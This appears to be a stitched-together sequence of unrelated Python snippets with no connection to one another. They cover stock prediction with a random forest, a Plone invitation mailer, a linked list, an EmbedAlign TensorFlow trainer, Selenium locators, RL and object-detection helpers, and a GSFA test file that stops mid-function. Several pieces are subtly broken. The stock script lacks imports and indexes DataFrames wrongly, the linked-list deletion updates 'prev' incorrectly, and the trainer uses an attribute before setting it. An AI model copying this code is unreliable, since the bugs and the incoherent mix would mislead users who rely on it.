import pandas as pd
from sklearn.model_selection import TimeSeriesSplit
import glob

##https://www.relataly.com/stock-market-prediction-with-multivariate-time-series-in-python/1815/#h-univariate-vs-multivariate-time-series

##df = pd.read_csv("reddit_classified_split.csv")

file_list = glob.glob("stock_dfs/*.csv")

stock_data = pd.read_csv("stock_comment_count/AMC.csv")

##stock_data['t'] = [x for x in range(len(stock_data))]
##df['t-1'] = df['t'].shift(1)

print(stock_data)

##def series_to_supervised(data, n_in=1, n_out=1, dropnan = True):

##print(stock_data.index.name)

X = stock_data[["Volume", "volume_change", "stock_change", "comment_volume", "polarity_avg", "subjectivity_avg"]]
##X = stock_data.drop("Date", "Open", "High", "Low", "Close", axis = 1)
y = stock_data[["Close"]]

X_train = X[:int(X.shape[0]*0.7)]
X_test = X[int(X.shape[0]*0.7):]
y_train = y[:int(X.shape[0]*0.7)]
y_test = y[int(X.shape[0]*0.7):]

tscv = TimeSeriesSplit(n_splits = 2)

i = 1
score = []
for tr_index, val_index in tscv.split(X_train):
    X_tr, X_val = X_train[tr_index], X_train[val_index]
    y_tr, y_val = y_train[tr_index], y_train[val_index]
    for mf in np.linspace(100, 150, 6):
        for ne in np.linspace(50, 100, 6):
            for md in np.linspace(20, 40, 5):
                for msl in np.linspace(30, 100, 8):
                    rfr = RandomForestRegressor(
                        max_features=int(mf),
                        n_estimators=int(ne),
                        max_depth=int(md),
                        min_samples_leaf=int(msl))
                    rfr.fit(X_tr, y_tr)
                    score.append([i,
                                  mf,
                                  ne,
                                  md,
                                  msl,
                                  rfr.score(X_val, y_val)])
    i += 1

print(score)

##for train_index, test_index in tscv.split(X):
##    print("TRAIN:", train_index, "TEST:", test_index)
##    X_train, X_test = X[train_index], X[test_index]
##    y_train, y_test = y[train_index], y[test_index]


def larger_number(num1,num2):
    '''
    Function return the largest number of two numbers
    '''
    if num1>num2:
        print(f"{num1} larger than {num2}.")
        return num1
    elif num2>num1:
        print(f"{num2} larger than {num1}.")
        return num2
    else:
        print("The numbers are equal.")
        return num1

print(larger_number(10,10))


from email import message_from_string
from email.Header import Header
from urllib import quote

from AccessControl import ModuleSecurityInfo
from Acquisition import aq_get
from DateTime import DateTime
from Products.CMFCore.utils import getToolByName
from Products.CMFPlone.utils import safe_unicode
from Products.Five.browser.pagetemplatefile import ViewPageTemplateFile
from zope.publisher.browser import BrowserView

class InvitationMail(BrowserView):

    index = ViewPageTemplateFile('templates/invitation-mail.pt')

    def mail_header(self):
        site = getToolByName(self.context, 'portal_url').getPortalObject()
        from_ = site.getProperty('email_from_name')
        mail  = site.getProperty('email_from_address')
        text = '"%s" <%s>' % (from_, mail)
        return Header(safe_unicode(text), 'utf-8')

    def __call__(self, **kw):
        options = kw.copy()
        options['from_'] = self.mail_header()
        return self.index(**options)

def sendInvitationMail(site, member, vars):
    request = aq_get(site, 'REQUEST')
    fullname = member.getProperty('fullname') or member.getId()
    hostname = request.other['SERVER_URL']
    invite_to_address = vars['invite_to_address']
    invitecode = vars['invitecode']
    message = vars['message']

    tool = getToolByName(site, 'portal_invitations')
    expires = DateTime() + tool.getProperty('days', 7)

    accept_url = '%s/accept/%s?email=%s' % (
        site.absolute_url(), quote(invitecode), quote(invite_to_address))

    mail_text = InvitationMail(site, request)(member=member,
        email=invite_to_address, sender_fullname=fullname, hostname=hostname,
        message=message, expires=expires, accept_url=accept_url)
    if isinstance(mail_text, unicode):
        mail_text = mail_text.encode('utf-8')

    message_obj = message_from_string(mail_text.strip())
    subject = message_obj['Subject']
    m_to = message_obj['To']
    m_from = message_obj['From']

    host = getToolByName(site, 'MailHost')
    host.send(mail_text, m_to, m_from, subject=subject,
              charset='utf-8', immediate=True)

# Allow from Python scripts
security = ModuleSecurityInfo('intranett.policy.browser.invitation')
security.declarePublic('sendInvitationMail')


# 02. 「パトカー」+「タクシー」=「パタトクカシーー」
# 「パトカー」+「タクシー」の文字を先頭から交互に連結して文字列「パタトクカシーー」を得よ.

def solve(a, b):
    a_len = len(a)
    if a_len != len(b):
        return
    ret = ''
    n = 0
    while n < a_len:
        ret += a[n]
        ret += b[n]
        n += 1
    return ret

print(solve('パトカー', 'タクシー'))


class Node:
    def __init__(self, data):
        self.data = data
        self.next = None

class LinkedList:
    def __init__(self):
        self.head = None

    def append(self, value):
        new_node = Node(value)
        if self.head is None:
            self.head = new_node
            return
        last_node = self.head
        while last_node.next:
            last_node = last_node.next
        last_node.next = new_node

    def print_list(self):
        cur_node = self.head
        while cur_node:
            print(cur_node.data)
            cur_node = cur_node.next

    def prepend(self, data):
        new_node = Node(data)
        new_node.next = self.head
        self.head = new_node

    def insert(self, data, prev_node):
        if not prev_node:
            print("No previous node")
            return
        new_node = Node(data)
        new_node.next = prev_node.next
        prev_node.next = new_node

    def delete_node(self, key):
        cur_node = self.head
        if cur_node and cur_node.data == key:
            self.head = cur_node.next
            cur_node = None
            return
        prev = None
        while cur_node and cur_node.data != key:
            cur_node = cur_node.next
            prev = cur_node

        if cur_node is None:
            return

        prev.next = cur_node.next
        cur_node = None

    def delete_node_at_poisiton(self, position):
        cur_node = self.head
        if position == 0:
            self.head = cur_node.next
            return
        prev = None
        count = 1
        while cur_node and count != position:
            prev = cur_node
            cur_node = cur_node.next
            count += 1

        if cur_node is None:
            return

        prev.next = cur_node.next
        cur_node = None

    def len_iterative(self):
        count = 0
        cur_node = self.head
        while cur_node.next:
            cur_node = cur_node.next
            count += 1
        return count

    def len_recursive(self, node):
        if node is None:
            return 0
        return 1 + self.len_recursive(node.next)

    def print_helper(self, node, name):
        if node is None:
            print(name + " : None")
        else:
            print(f"{name} : {node.data}")

    def reverse_iterative(self):
        prev = None
        cur = self.head
        while cur:
            nxt = cur.next
            cur.next = prev
            # self.print_helper(prev, "PREV")
            # self.print_helper(cur, "CUR")
            # self.print_helper(nxt, "NXT")
            # print("\n")
            prev = cur
            cur = nxt
        self.head = prev

    def reverse_recursive(self):
        def _reverse_recursive(cur, prev):
            if not cur: # if we reach the end of the list <-- Base case
                return prev
            nxt = cur.next
            cur.next = prev
            prev = cur
            cur = nxt
            return _reverse_recursive(cur, prev)
        self.head = _reverse_recursive(cur=self.head, prev=None)

llist = LinkedList()
llist.append("A")
llist.append("B")
llist.append("C")
llist.append("D")
llist.print_list()
print("~~~~~~~~~~~~~~~~~~~~~~~~")
# llist.reverse_iterative()
# llist.print_list()
llist.reverse_recursive()
llist.print_list()


import logging
import os
import sys

from collections import namedtuple
import dill
import numpy as np
import tensorflow as tf

from dgm4nlp.annealing import AnnealingSchedule
from dgm4nlp.nlputils import AERSufficientStatistics
from dgm4nlp.nlputils import Multitext
from dgm4nlp.nlputils import class_distribution
from dgm4nlp.tf.bilingual import prepare_test
from dgm4nlp.tf.bilingual import prepare_training
from dgm4nlp.tf.bilingual import prepare_validation
from dgm4nlp.tf.opt import minimise
from dgm4nlp.tf.ssoftmax import np_get_support
from dgm4nlp.tf.checkpoint import ModelTracker

from embedalign.model import EmbedAlignModel
from embedalign.model import VariationalApproximationSpecs
from embedalign.viterbi import get_viterbi

class EmbedAlignTrainer:
    """
    Takes care of training a model with SGD.
    """

    def __init__(self, model: EmbedAlignModel,
                 training, val, val_wa, test, test_wa,
                 output_dir,
                 # architecture
                 nb_softmax_samples=[0, 0],
                 softmax_approximation=['botev-batch', 'botev-batch'],
                 softmax_q_inv_temperature=[0., 0.],
                 # optimisation
                 num_epochs=5,
                 batch_size=16,
                 optimizer=tf.train.RMSPropOptimizer(learning_rate=0.001),
                 grad_clipping=None,
                 # annealing step
                 annealing_s=AnnealingSchedule(),
                 annealing_z=AnnealingSchedule(),
                 # tensorflow
                 session=None):
        """

        :param model: EmbedAlignModel
        :param training: training Multitext
        :param val: validation Multitext
        :param val_wa: validation manual alignments
        :param test: test Multitext
        :param test_wa: test manual alignments
        :param output_dir: where to save files
        :param nb_softmax_samples: enable sampled softmax approximations for P(X|z) and P(Y|x_a,z_a)
        :param softmax_approximation: choose type of sampled softmax approximations for P(X|z) and P(Y|x_a,z_a)
        :param softmax_q_inv_temperature: choose temperature for proxy in 'botev-batch' approximation
        :param num_epochs: maximum number of epochs
        :param batch_size: maximum samples in a batch
        :param optimizer: a tf optimiser
        :param grad_clipping: configure gradient clipping with a pair [floor, ceil]
        :param annealing_s: configure annealing for KL term associated with prior P(S)
        :param annealing_z: configure annealing for KL term associated with prior P(Z|s)
        :param session: a tf session
        """

        self.model = model
        self.session = session
        self.tracker = ModelTracker(session, model, output_dir)

        # Configure softmax approximations
        self.nb_softmax_samples = nb_softmax_samples
        self.softmax_approximation = softmax_approximation
        self.softmax_q_inv_temperature = softmax_q_inv_temperature
        #  for X
        if softmax_q_inv_temperature[0] > 0:
            logging.info('Computing x-side class frequencies (inverse temperature %f)', softmax_q_inv_temperature[0])
            self.freq_x = class_distribution(self.training, stream=0, batch_size=1000, normalise=False)
            self.freq_x **= softmax_q_inv_temperature[0]
        else:
            self.freq_x = None
        #  for Y
        if softmax_q_inv_temperature[1] > 0:
            logging.info('Computing y-side class frequencies (inverse temperature %f)', softmax_q_inv_temperature[1])
            self.freq_y = class_distribution(self.training, stream=1, batch_size=1000, normalise=False)
            self.freq_y **= softmax_q_inv_temperature[1]
        else:
            self.freq_y = None

        # Configure experiment
        os.makedirs(output_dir, exist_ok=True)
        self.training = training
        self.val = val
        self.val_wa = val_wa
        self.output_dir = output_dir
        self.test = test
        self.test_wa = test_wa

        # Configure loss
        self.annealing_s = annealing_s
        self.annealing_z = annealing_z

        # Configure optimiser
        self.num_epochs = num_epochs
        self.batch_size = batch_size
        self.optimizer = optimizer
        self.grad_clipping = grad_clipping
        self._build_optimizer()

    def _build_optimizer(self):
        """Buid the optimizer."""
        self.optimizer_state = minimise(
            loss=self.model.loss,
            optimizer=self.optimizer,
            grad_clipping=self.grad_clipping
        )

    def get_generator(self, corpus: Multitext, training_phase=None):
        if training_phase:
            generator = corpus.batch_iterator(
                batch_size=self.batch_size,
                endless=False,
                shorter_batch='trim',
                dynamic_sequence_length=True
            )
        else:
            generator = corpus.batch_iterator(
                batch_size=1,
                endless=False,
                shorter_batch='trim',
                dynamic_sequence_length=True
            )
        for batch in generator:
            (x, mx), (y, my) = batch
            # input to the TF graph
            is_training = corpus is self.training
            feed_dict = {
                self.model.x: x,
                self.model.y: y,
                self.model.training_phase: is_training,
                self.model.alpha_s: self.annealing_s.alpha(),
                self.model.alpha_z: self.annealing_z.alpha()
            }

            # additional inputs for approximations

            # X side
            vx = self.training.vocab_size(0)
            if 0 < self.nb_softmax_samples[0] < vx and self.softmax_approximation[0] == 'botev-batch':  # in case we are employing a sampled softmax
                support_x, importance_x, nb_probable_x = np_get_support(  # we sample the support using numpy
                    nb_classes=vx,
                    nb_samples=self.nb_softmax_samples[0],
                    labels=x,
                    is_training=is_training,
                    freq=self.freq_x
                )
                feed_dict[self.model.support_x] = support_x
                feed_dict[self.model.importance_x] = importance_x
                #logging.info('X: probable=%s negative=%s', nb_probable_x, support_x.shape[0] - nb_probable_x)

            # Y side
            vy = self.training.vocab_size(1)
            if 0 < self.nb_softmax_samples[1] < vy and self.softmax_approximation[1] == 'botev-batch':  # in case we are employing a sampled softmax
                support_y, importance_y, nb_probable_y = np_get_support(  # we sample the support using numpy
                    nb_classes=vy,
                    nb_samples=self.nb_softmax_samples[1],
                    labels=y,
                    is_training=is_training,
                    freq=self.freq_y
                )
                feed_dict[self.model.support_y] = support_y
                feed_dict[self.model.importance_y] = importance_y
                #logging.info('Y: probable=%s negative=%s', nb_probable_y, support_y.shape[0] - nb_probable_y)

            yield feed_dict

    def checkpoint(self, step, training_loss):

        save_path = self.model.save(self.session, path="{}/model.latest.ckpt".format(self.output_dir))
        logging.info("Model saved in file: %s", save_path)

        self.tracker.register(  # track best training loss
            step=step,
            name='training.objective',
            value=training_loss,
            asc=False
        )

        # evaluate on development set
        if not self.val:
            return

        val_aer, val_acc_x, val_acc_y, val_loss, val_ce_x, val_ce_y, val_kl = self.evaluate(self.val,
                                                                                iter(self.val_wa))

        logging.info("Steps {} val_loss {:.4f} val_acc_x {:1.4f} val_acc_y {:1.4f} val_aer {:1.2f} ".format(
            step,
            val_loss,
            val_acc_x,
            val_acc_y,
            val_aer))

        # Save best models according to different validation metrics

        self.tracker.register(
            step=step,
            name='validation.objective',
            value=val_loss,
            asc=False
        )

        self.tracker.register(
            step=step,
            name='validation.aer',
            value=val_aer,
            asc=False
        )

        #self.tracker.register(
        #    step=step,
        #    name='validation.acc_x',
        #    value=val_acc_x,
        #    asc=True
        #)

        #self.tracker.register(
        #    step=step,
        #    name='validation.acc_y',
        #    value=val_acc_y,
        #    asc=True
        #)

    def train(self, ckpt_interval=1000):
        """Trains a model."""

        steps, epoch_steps = 0, 1
        loss = 0.0

        for epoch_id in range(1, self.num_epochs + 1):

            loss = 0.0
            ce_x = 0.0
            ce_y = 0.0
            kl = 0.0
            kl_s = 0.0
            kl_z = 0.0
            acc_x_correct = 0
            acc_x_total = 0
            acc_y_correct = 0
            acc_y_total = 0

            for epoch_steps, feed_dict in enumerate(self.get_generator(self.training, training_phase=True), 1):

                # things we want TF to return to us from the computation
                fetches = {
                    "optimizer_state": self.optimizer_state,
                    "loss": self.model.loss,
                    "ce_x": self.model.ce_x,
                    "ce_y": self.model.ce_y,
                    "kl_s": self.model.kl_s,
                    "kl_z": self.model.kl_z,
                    "kl": self.model.kl,
                    "acc_x_correct": self.model.accuracy_x_correct,
                    "acc_x_total": self.model.accuracy_x_total,
                    "acc_y_correct": self.model.accuracy_y_correct,
                    "acc_y_total": self.model.accuracy_y_total,
                    "pa_x": self.model.pa_x,
                    "px_z": self.model.px_z,
                    "py_xza": self.model.py_xza
                }

                res = self.session.run(fetches, feed_dict=feed_dict)

                loss += res["loss"]
                # breakdown of loss
                ce_x += res['ce_x']
                ce_y += res['ce_y']
                kl_s += res["kl_s"]
                kl_z += res["kl_z"]
                kl += res["kl"]
                # accuracy of next word prediction
                acc_x_correct += res["acc_x_correct"]
                acc_x_total += res["acc_x_total"]
                acc_y_correct += res["acc_y_correct"]
                acc_y_total += res["acc_y_total"]
                steps += 1

                # Log some running averages
                if epoch_steps % 100 == 0:
                    logging.info("Epoch {:3d} Steps {:5d} Iteration {:5d} loss {:.4f} ce_x {:.4f} ce_y {:.4f} kl {:.4f} kl_s {:.4f} kl_z {:.4f} alpha_s {:.4f} alpha_z {:.4f} accuracy_x {:1.4f} accuracy_y {:1.4f}".format(
                        epoch_id, steps, epoch_steps, loss / epoch_steps, ce_x / epoch_steps, ce_y / epoch_steps, kl / epoch_steps, kl_s / epoch_steps, kl_z / epoch_steps,
                        self.annealing_s.alpha(),
                        self.annealing_z.alpha(),
                        acc_x_correct / acc_x_total,
                        acc_y_correct / acc_y_total))

                # Possibly update annealing schedules after each parameter update
                self.annealing_s.update()
                self.annealing_z.update()

                if steps % ckpt_interval == 0:
                    #check point at every epoch
                    self.checkpoint(steps, loss / float(epoch_steps))

            # Log end of epoch
            logging.info("End of Epoch {:3d} Steps {:5d} loss {:.4f} ce_x {:.4f} ce_y {:.4f} kl {:.4f} kl_s {:.4f} kl_z {:.4f} alpha_s {:.4f} alpha_z {:.4f} accuracy_x {:1.4f} accuracy_y {:1.4f}".format(
                epoch_id, steps, loss / epoch_steps, ce_x / epoch_steps, ce_y / epoch_steps, kl / epoch_steps, kl_s / epoch_steps, kl_z / epoch_steps,
                self.annealing_s.alpha(),
                self.annealing_z.alpha(),
                acc_x_correct / acc_x_total,
                acc_y_correct / acc_y_total))

        # Final checkpoint
        self.checkpoint(steps, loss / float(epoch_steps))
        if self.val:  # compile a report
            with open('%s/report-best.txt' % self.output_dir, 'w') as fo:
                for metric, metric_data in self.tracker:
                    print('metric=%s value=%s step=%d path=%s' %
                          (metric,
                           metric_data.value,
                           metric_data.step,
                           metric_data.path), file=fo)

    def evaluate(self, corpus: Multitext, wa_iterator=None):
        """Evaluate the model on a data set."""
        metric = AERSufficientStatistics()
        accuracy_x_correct = 0
        accuracy_x_total = 0
        accuracy_y_correct = 0
        accuracy_y_total = 0
        loss = 0.0
        ce_x = 0.0
        ce_y = 0.0
        kl = 0.0

        for batch_id, feed_dict in enumerate(self.get_generator(corpus, training_phase=False), 1):

            # things we want TF to return to us from the computation
            fetches = {
                "optimizer_state": self.optimizer_state,
                "loss": self.model.loss,
                "ce_x": self.model.ce_x,
                "ce_y": self.model.ce_y,
                "kl": self.model.kl,
                "acc_x_correct": self.model.accuracy_x_correct,
                "acc_x_total": self.model.accuracy_x_total,
                "acc_y_correct": self.model.accuracy_y_correct,
                "acc_y_total": self.model.accuracy_y_total,
                "pa_x": self.model.pa_x,
                "px_z": self.model.px_z,
                "py_xza": self.model.py_xza
            }

            res = self.session.run(fetches, feed_dict=feed_dict)

            # Track some quantities
            accuracy_x_correct += res['acc_x_correct']
            accuracy_x_total += res['acc_x_total']
            accuracy_y_correct += res['acc_y_correct']
            accuracy_y_total += res['acc_y_total']
            loss += res['loss']
            ce_x += res['ce_x']
            ce_y += res['ce_y']
            kl += res['kl']

            # Get the input as it will be necessary for Viterbi
            x = feed_dict[self.model.x]
            y = feed_dict[self.model.y]
            align, prob = get_viterbi(x, y, res['pa_x'], res['py_xza'])

            if wa_iterator is not None:
                # Compute sufficient statistics for AER
                y_len = np.sum(np.sign(y), axis=1, dtype="int64")
                for alignment, N, (sure, probable) in zip(align, y_len, wa_iterator):
                    # the evaluation ignores NULL links, so we discard them
                    # j is 1-based in the naacl format
                    pred = set((aj, j) for j, aj in enumerate(alignment[:N], 1) if aj > 0)
                    metric.update(sure=sure, probable=probable, predicted=pred)

        accuracy_x = accuracy_x_correct / float(accuracy_x_total)
        accuracy_y = accuracy_y_correct / float(accuracy_y_total)

        return metric.aer(), accuracy_x, accuracy_y, loss / batch_id, ce_x / batch_id, ce_y / batch_id, kl / batch_id

def test_embedalign(  # input paths
        training_x, training_y,
        val_x, val_y, val_naacl,
        test_x, test_y, test_naacl,
        # output paths
        output_dir,
        ckpt_interval=1000,
        # data preprocessing
        nb_words=[1000, 1000],
        shortest_sequence=[1, 1],
        longest_sequence=[30, 30],
        bos_str=['-NULL-', None],
        eos_str=[None, None],
        lowercase=True,
        # architecture
        nb_softmax_samples=[0, 0],
        softmax_approximation=['botev-batch', 'botev-batch'],
        softmax_q_inv_temperature=[0., 0.],
        dx=128,
        dh=128,
        q=VariationalApproximationSpecs(dz=128),
        mc_kl=False,
        attention_z=False,
        improved_features_for_py=False,
        # optimiser
        nb_epochs=50,
        batch_size=100,
        optimizer=tf.train.RMSPropOptimizer(learning_rate=0.001),
        grad_clipping=None,
        annealing_s=AnnealingSchedule(),
        annealing_z=AnnealingSchedule(),
        config=None
):
    tks, training = prepare_training(training_x,
                                     training_y,
                                     nb_words=nb_words,
                                     shortest_sequence=shortest_sequence,
                                     longest_sequence=longest_sequence,
                                     bos_str=bos_str,
                                     eos_str=eos_str,
                                     lowercase=lowercase)
    logging.info("{}/tokenizer.pickle".format(output_dir))
    dill.dump(tks, open("{}/tokenizer.pickle".format(output_dir), 'wb'))

    if val_x:
        val, val_wa = prepare_validation(tks, val_x, val_y, val_naacl,
                                         shortest_sequence=shortest_sequence,
                                         longest_sequence=longest_sequence)

        test, test_wa = (None, None)#prepare_test(tks, test_x, test_y, test_naacl)
    else:
        val, val_wa = (None, None)
        test, test_wa = (None, None)

    tf.reset_default_graph()

    with tf.Session(config=config) as session:
        model = EmbedAlignModel(vx=training.vocab_size(0),
                                vy=training.vocab_size(1),
                                dx=dx, dh=dh,
                                q=q, mc_kl=mc_kl,
                                nb_softmax_samples=nb_softmax_samples,
                                softmax_approximation=softmax_approximation,
                                attention_z=attention_z,
                                improved_features_for_py=improved_features_for_py,
                                session=session)

        trainer = EmbedAlignTrainer(model,
                                    training,
                                    val, val_wa,
                                    test, test_wa,
                                    output_dir,
                                    # architecture
                                    nb_softmax_samples=nb_softmax_samples,
                                    softmax_approximation=softmax_approximation,
                                    softmax_q_inv_temperature=softmax_q_inv_temperature,
                                    # optimizer
                                    num_epochs=nb_epochs,
                                    batch_size=batch_size,
                                    optimizer=optimizer,
                                    grad_clipping=grad_clipping,
                                    annealing_s=annealing_s,
                                    annealing_z=annealing_z,
                                    session=session)

        # now first TF needs to initialize all the variables
        logging.info('Initializing variables...')
        session.run(tf.global_variables_initializer())

        logging.info('Training started')
        trainer.train(ckpt_interval=ckpt_interval)
        #TODO save model!


#Enter Python code here and hit the Run button.
#// implementation
def even_odd_check(l1,l2):
    l3 =[]
    for index in range(1,len(l1),2):
       # print(l1[index])
        l3.append(l1[index])
    for index in range(0,len(l2),2):
        l3.append(l2[index])

    return l3

#// test cases
l1 = [3, 6, 9, 12, 15, 18, 21]
l2 = [4, 8, 12, 16, 20, 24, 28]

print(even_odd_check(l1, l2))


class Person:

		def work(self):
				print('열심히 일하자')

class Cook(Person):

		def __init__(self, menu):
				self.menu = menu
				print('주방장이 될꺼야!')

		def work(self):
				print(f'{self.menu}를 만들자')

class Developer(Person):

		def __init__(self, language):
				self.language = language
				print('CTO가 될꺼야!')

		def work(self):
				print(f'{self.language} 코드를 짜보자')

person = Person()
cook = Cook('피자')
developer = Developer('파이썬')

person.work()
cook.work()
developer.work()

class MultiPlyaer(Developer, Cook):
    pass

multiPlayer = MultiPlyaer('파이썬')
multiPlayer.work()


from selenium.webdriver.common.by import By

class BasePageLocators(object):
    ETSY_LOGO = (By.XPATH, "//span[contains(@class, 'etsy-icon') and @id='logo']")

class SearchPageLocators(object):
    SEARCH_TEXTBOX = (By.XPATH, "//input[@data-id='search-query' and @name='search_query']")
    SEARCH_BUTTON = (By.XPATH, "//button[@type='submit' and @value='Search']")
    SEARCH_RESULTS = (By.XPATH, "//h1[contains(@class, 'wt-text-caption')]")
    TOP_NAV_CATEGORY_LINK = (By.XPATH, "//li[contains(@class, 'top-nav-item')]//a//span[contains(text(), 'Home & Living')]")


import os
import time
import wandb
import torch
import envpool
import numpy as np
import torch.optim as optim
from util.env_wrappers import VecAdapter
from stable_baselines3.common.vec_env import VecMonitor
from stable_baselines3.common.evaluation import evaluate_policy

def lerp(start, end, weight):
    return start + weight * (end - start)

def num_cpus():
    try:
        return len(os.sched_getaffinity(0))
    except AttributeError:
        return os.cpu_count()

def get_eval_env(env_id, env_type, num_envs, seed, num_threads=None):
    if num_threads is None:
        num_threads = num_cpus()
    else:
        num_threads = min(num_threads, num_cpus())
    eval_env = envpool.make(env_id, env_type=env_type, num_envs=num_envs, seed=seed, num_threads=num_threads)
    eval_env.spec.id = env_id
    eval_env = VecAdapter(eval_env)
    eval_env = VecMonitor(eval_env)
    return eval_env

def linear_schedule(start_e: float, end_e: float, duration: int, t: int):
    slope = (end_e - start_e) / duration
    return max(slope * t + start_e, end_e)

def num_train_steps(global_steps, num_envs, samples_step, batch_size):
    if num_envs > samples_step:
        return True, int(num_envs*samples_step/batch_size)
    else:
        return global_steps % int(batch_size/samples_step) == 0, 1

@torch.no_grad()
def evaluate_sb3(model, env, eval_eps, track, step=None, prefix='', log_time=True):
    start_time = time.time()
    rewards, lengths = evaluate_policy(model, env, n_eval_episodes=eval_eps, return_episode_rewards=True)
    finish_time = time.time()
    mean_reward, std_reward = np.mean(rewards), np.std(rewards)
    mean_ep_length, std_ep_length = np.mean(lengths), np.std(lengths)
    fps = int(np.sum(lengths) / (finish_time - start_time))
    if track:
        log = {f"eval/{prefix}mean_reward": mean_reward,
               f"eval/{prefix}stdev_reward": std_reward,
               f"eval/{prefix}mean_ep_length": mean_ep_length,
               f"eval/{prefix}stdev_ep_length": std_ep_length}
        if log_time: log.update({f"time/{prefix}eval_fps": fps})
        wandb.log(log, step=step)

    return mean_reward, std_reward, mean_ep_length, std_ep_length, fps

def get_optimizer(opt_name, parameters, lr, wd, eps):
    if opt_name == 'Adam':
        optimizer = optim.Adam(parameters, lr=lr, weight_decay=wd, eps=eps)
    elif opt_name == 'AdamW':
        optimizer = optim.AdamW(parameters, lr=lr, weight_decay=wd, eps=eps)
    elif opt_name == 'SGD':
        optimizer = optim.SGD(parameters, lr=lr, weight_decay=wd)
    elif opt_name == 'RMSprop':
        optimizer = optim.RMSprop(parameters, lr=lr, weight_decay=wd, eps=eps)
    else:
        raise ValueError(f'Invalid optimizer, {opt_name} must be one of Adam, AdamW, SGD, or RMSprop')
    return optimizer


import numpy as np
import tensorflow as tf

import matplotlib.pyplot as plt
import matplotlib.patches as patches

def image_to_np_array(image):
    (im_width, im_height) = image.size
    return np.array(image.getdata()).reshape((im_height, im_width, 3)).astype(np.uint8)

def load_model_to_session(sess, pb_model_path):
    od_graph_def = sess.graph_def
    with tf.gfile.GFile(pb_model_path, 'rb') as fid:
        serialized_graph = fid.read()
        od_graph_def.ParseFromString(serialized_graph)
        tf.import_graph_def(od_graph_def, name='')

def load_pbtxt_to_label_dict(pb_label_file_path):  # only work for mascoco label map now
    label_dict = dict()
    with open(pb_label_file_path) as f:
        content = f.readlines()
        content = [x.strip() for x in content]
        for i in range(len(content) // 5):
            index = int(content[i * 5 + 2][4:])
            name = content[i * 5 + 3][15:-1]
            label_dict[index] = name
    return label_dict

def inference_one_image(sess, image):
    graph = sess.graph
    image_tensor = graph.get_tensor_by_name('image_tensor:0')  # input
    feed_dict = {image_tensor: image}
    ops = graph.get_operations()
    all_tensor_names = {output.name for op in ops for output in op.outputs}
    tensor_dict = dict()
    for key in ['num_detections', 'detection_boxes', 'detection_scores', 'detection_classes', 'detection_masks']:
        tensor_name = key + ':0'
        if tensor_name in all_tensor_names:
            tensor_dict[key] = graph.get_tensor_by_name(tensor_name)
    output_dict = sess.run(tensor_dict, feed_dict=feed_dict)
    output_dict['num_detections'] = int(output_dict['num_detections'][0])
    output_dict['detection_classes'] = output_dict['detection_classes'][0].astype(np.int64)
    output_dict['detection_boxes'] = output_dict['detection_boxes'][0]
    output_dict['detection_scores'] = output_dict['detection_scores'][0]
    return output_dict

def draw_bounding_boxes_on_image_array(image_np, boxes, classes, scores, min_score_threshold=0.5, label_dict=None):
    height = image_np.shape[0]
    width = image_np.shape[1]

    # Create figure and axes
    fig, ax = plt.subplots()
    ax.imshow(image_np)
    for i in range(boxes.shape[0]):
        if scores[i] < min_score_threshold:
            continue
        box = tuple(boxes[i].tolist())
        y0 = int(box[0]*height)
        x0 = int(box[1]*width)
        y1 = int(box[2]*height)
        x1 = int(box[3]*width)
        # Create a Rectangle patch
        rect = patches.Rectangle((x0, y0), x1 - x0, y1 - y0, linewidth=1, edgecolor='r', facecolor='none', fill=False)
        ax.add_patch(rect)
        if label_dict is not None:
            display_str = label_dict[classes[i]] + ', ' + str(round(scores[i]*100))
            ax.text(x0 ,y0, display_str, color='white')
    plt.show()


#####################################################################################################################
# test_GSFANode: Tests for the Graph-Based SFA Node (GSFANode) as defined by the Cuicuilco framework                #
#                                                                                #
# By Alberto Escalante. Alberto.Escalante@ini.rub.de                                                                #
# Ruhr-University Bochum, Institute for Neural Computation, Group of Prof. Dr. Wiskott                              #
#####################################################################################################################

from __future__ import absolute_import
from __future__ import print_function
from __future__ import division
import numpy

import pytest
import mdp

from cuicuilco.gsfa_nodes import GSFANode, graph_delta_values, comp_delta

#TODO: test invalid parameters (training mode, block size, etc)

def test_equivalence_SFA_GSFA_regular_mode():
    """ Tests the equivalence of Standard SFA and GSFA when trained using the "regular" training mode
    """
    num_samples = 200
    correction_factor_scale = ((num_samples - 1.0) / num_samples) ** 0.5
    input_dim = 15
    x = numpy.random.normal(size=(num_samples, input_dim))
    x2 = numpy.random.normal(size=(num_samples, input_dim))

    print("Training GSFA (regular mode):")
    output_dim = 5
    n = GSFANode(output_dim=output_dim)
    n.train(x, train_mode="regular")
    n.stop_training()

    print("Training SFA:")
    n_sfa = mdp.nodes.SFANode(output_dim=output_dim)
    n_sfa.train(x)
    n_sfa.stop_training()

    y = n.execute(x)
    y *= correction_factor_scale
    assert y.shape[1] == output_dim, "Output dimensionality %d was supposed to be %d" % (y.shape[1], output_dim)
    print("y[0]:", y[0])
    print("y.mean:", y.mean(axis=0))
    print("y.var:", (y**2).mean(axis=0))
    y2 = n.execute(x2)
    y2 *= correction_factor_scale

    y_sfa = n_sfa.execute(x)
    print("y_sfa[0]:", y_sfa[0])
    print("y_sfa.mean:", y_sfa.mean(axis=0))
    print("y_sfa.var:", (y_sfa**2).mean(axis=0))
    y2_sfa = n_sfa.execute(x2)

    signs_sfa = numpy.sign(y_sfa[0,:])
    signs_gsfa = numpy.sign(y[0,:])
    y = y * signs_gsfa * signs_sfa
    y2 = y2 * signs_gsfa * signs_sfa

    print("y_sfa:", y_sfa, "y:", y)
    assert (y_sfa - y) == pytest.approx(0.0)
    assert (y2_sfa - y2) == pytest.approx(0.0)

def test_equivalence_GSFA_clustered_and_classification_modes():
    """ Tests the equivalence of GSFA when trained using the "clustered" and "classification" training modes.

    Notice that the clustered mode assumes the samples with the same labels are contiguous.
    """
    num_classes = 5
    num_samples_per_class = numpy.array([numpy.random.randint(10, 30) for j in range(num_classes)])
    num_samples = num_samples_per_class.sum()
    classes = []
    for i, j in enumerate(num_samples_per_class):
        classes += [i] * j
    classes = numpy.array(classes)
    print("classes:", classes)
    input_dim = 15
    x = numpy.random.normal(size=(num_samples, input_dim))

    print("Training GSFA (clustered mode):")
    output_dim = num_classes - 1
    n = GSFANode(output_dim=output_dim)
    n.train(x, train_mode="clustered", block_size=num_samples_per_class)
    n.stop_training()

    sorting = numpy.arange(num_samples)
    numpy.random.shuffle(sorting)
    x_s = x[sorting]
    classes_s = classes[sorting]
    print("Training GSFA (classification mode):")
    n2 = GSFANode(output_dim=output_dim)
    n2.train(x_s, train_mode=("classification", classes_s, 1.0))
    n2.stop_training()

    y_clustered = n.execute(x)
    print("reordering outputs of clustered mode")
